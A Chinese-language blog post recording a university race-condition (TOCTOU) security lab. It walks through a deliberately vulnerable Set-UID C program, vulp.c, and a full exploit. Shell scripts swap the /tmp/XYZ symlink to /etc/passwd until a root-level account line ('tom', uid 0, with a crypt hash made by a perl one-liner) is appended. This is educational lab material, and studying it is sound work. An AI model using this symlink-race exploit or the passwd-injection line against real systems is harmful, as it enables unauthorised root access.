Race_Condition實驗
//csdn博客目前暫時不再更新了,有興趣請訪問我的技術博客-曉的博客:zhangxiaolong.org
今天做了第二個實驗,是條件競爭實驗。首先呢,先思考以下兩個問題:
1、linux下用open函數打開文件時,要是采用O_WRONLY模式為何容易產生競爭條件漏洞?換成O_WRONLY | O_CREAT | O_EXCL 模式後情況會如何?
解答:open函數用來打開一個設備,他返回的是一個整型變量,如果這個值等於-1,說明打開文件出現錯誤,如果為大於0的值, 參考格式>
int open(const char *pathname, int oflag, …/*, mode_t mode * / ) ;
打開的操作類型有如下幾種
1) O_RDONLY 隻讀打開
2) O_WRONLY 隻寫打開
3) O_RDWR 讀、寫打開
采用O_WRONLY模式用open函數打開文件時,root總是可以創建文件,即便鎖文件已經存在,這意味著該鎖不能為root正常工作。換成O_WRONLY | O_CREAT | O_EXCL 模式後,就將權限設置為0,使同一用戶的其他進程無法獲得鎖。
2、閱讀一篇文章“從一個漏洞談到ptrace的漏洞發現及利用方法”,地址為https://www.xfocus.net/articles/200304/503.html。描述其中的競爭條件漏洞出現的原因。
解答:代碼是在內核線程exec_modprobe()的上下文運行的,程序的current指向這個內核線程的task_struct結構,而與創建這個線程時的current不同,那時候的current指向當時的當前進程,即exec_modprobe()的父進程。內核線程exec_modprobe()從其父進程繼承了絕大部分資源和特性,包括它的fs_struct的內容和打開的所有文件,以及它的進程號、組號,還有所有的特權。但是這些特性在這個函數裏大多被拚棄了(見源碼的19行到42行,這裏設置了該內核線程的信號、euid 、egid等,使之變成超級用戶),不過在拚棄這些特性之前之前,我們的父進程,或同組進程是應該可以調試該內核線程的。漏洞也就在這裏。
在學習完這兩個問題之後,我們開始做這個實驗。
1.競爭漏洞程序
下麵的這個程序,表麵上看起來似乎是完美的,但實際上它具有競爭漏洞。
//vulp.c #include <stdio.h>` #include <unistd.h> #include <string.h> #define DELAY 10000 int main() { char * fn = "/tmp/XYZ"; char buffer[160]; FILE *fp; long int i; //get user input scanf("0s", buffer ); if(!access(fn, W_OK)) { //simulating delay for (i=0; i < DELAY; i++) { int a = i^2; } fp = fopen(fn, "a+"); fwrite("\n", sizeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else printf("No permission \n"); }
分析:
這是一個Set-UID Root程序,它的目的是向臨時文件/tmp/XYZ中追加一個字符串。既然這段程序是以root權限運行,那麼它會仔細的核查真正的使用者是否具有寫這 個文件的權限,這就是函數access()調用的目的,如果它核實了使用者確實有這個權限,那麼它會允許用戶向/tmp/XYZ中追加輸入的數據。在核查權限(access)和打開文件(fopen)之間存在一段時間,那麼就會 存在一種可能:核實的文件和打開的文件已經不是同一個文件了,雖然它們有相同的/tmp/XYZ符號鏈接。
2. 利用競爭漏洞
利用程序vulp.c中的競爭漏洞,其中一種是利用這種漏洞向/etc/passwd和/etc/shadow添加信息。這兩個文件都是 unix係統向用戶的授權文件,如果黑客能夠向這兩個文件中添加程序,那麼它們就完全有能力創建新的使用者,包括係統管理員用戶(通過令uid為0)
/etc/passwd文件是unix係統的授權數據庫文件,它包含用戶的基本屬性。它是一個ascii碼流文件,它的每一個行定義了一個用戶的基本屬性。
它的每一行的格式如下:
Username:password:uid:guid:gecos:homedir:shell
備注:Gecos:用來存儲用戶的一些雜項信息,比如用戶的全名,辦公室地址,辦公電話和家庭電話,也可以是一個簡短的文本信息。存儲在這個字段中的數據時以逗號分隔的,用於用cgfn(change finger for short )命令修改這個字段。
具體的例子:
Andrew:x:1000:1000:Andrew Hudson,17,0123455,124244455:/home/Andrew:/bin/bash
注意所有的passwd字段都不會直接顯示口令,而隻是顯示一個x,這些口令都會加密之後存放在/etc/shadow中。這主要是為了增加Unix的安全性考慮,如果不考慮安全性的話,完全可以把加密之後的密碼放在/etc/passwd中的passwd字段中。
在實驗中,我在/etc/passwd中加入了一下一行:
tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 來獲取root權限。
其中ttXydORJt50wQ是test的加密之後的密文。
可以運行perl腳本:
perl –e ‘print crypt(“test”,“tt”).“\n”’
來獲取加密之後的密文ttXydORJt50wQ
我的目標就是在普通用戶權限下攻擊vulp.c的競爭漏洞,成功之後在/etc/passwd文件中追加一行:
tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash
注意:
追加tom用戶的uid和uid均為0,所以我建立的tom目錄獲取到了root權限.因為我直接把tom的密碼test的密文直接寫在/etc/passwd的passwd字段中,所以我就沒有必要再去修改/etc/shadow文件了。
攻擊步驟:
第一步:建立符合連接
可以利用“ln -s”命令手動建立符號鏈接,也可以用C函數symlink在程序中建立符合鏈接。既然Linux不允許我們在舊鏈接已經存在的情況下建立鏈接,我們首先要刪除舊的鏈接。
下麵的C代碼簡單的指明了如何刪除一個鏈接,然後使得/tmp/XYZ指向/etc/passwd:
unlink(“/tmp/XYZ”);
symlink(“/etc/passwd”, “/tmp/XYZ”);
競爭漏洞攻擊的最重要的步驟是在核實和打開文件的時間間隔內,讓符號鏈接指向我們設定的目標文件,即在vulp.c的access和fopen之間讓/tmp/XYZ指向/etc/passwd.
第二步:運行攻擊腳本
攻擊腳本attack.sh如下:
#!/bin/sh race() { old=`ls -l /etc/passwd` new=`ls -l /etc/passwd` # when we modify the passwd successfully, the attack stops while [ "$old" = "$new" ] do # because when the synlink already exists, we can't modify the symlink, # so before change the symlink, we should rm the old one rm -f /tmp/XYZ >/tmp/XYZ ln -sf /etc/passwd /tmp/XYZ new=`ls -l /etc/passwd` # echo $new # echo $old done } race echo "Stop...The passwd has been changed!" RACE_PID=$! kill $RACE_PID
調用vulp程序的run,sh腳本:
#/bin/sh race() { while true do ./vulp <attack_input done } race RACE_PID=$! kill $RACE_PID
第三步:attack_input文件中存放的是:tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash,循環攻擊vulp程序的目的是向/etc/passwd寫入attack_input文件的數據,使新增的tom用戶具有root權限。
3.實驗結果截圖
如圖一所示:在zxl文件夾中,一共建立5個文件,分別為:攻擊腳本attack.sh,攻擊腳本替換輸入attack_input,檢查攻擊是否成功的腳本check.sh,運行追加字符串的程序run.sh ,追加字符串傳的程序vulp,且有s權限。其他程序都必須為可執行的文件,用sudo chmod +x /文件名 操作進行修改。
圖 1
如圖2所示,運行Run.sh腳本。它會一直循環運行程序vulp。
圖 2
如圖3所示,運行攻擊腳本attack.sh。如果成功會顯示如下提示,說明有內容寫入到passwd文件中。
圖 3
如圖4所示,在/etc/passwd文件中可以看到,有tom用戶寫入,並且具有管理員的權限。
圖4
最後更新:2017-04-02 06:52:01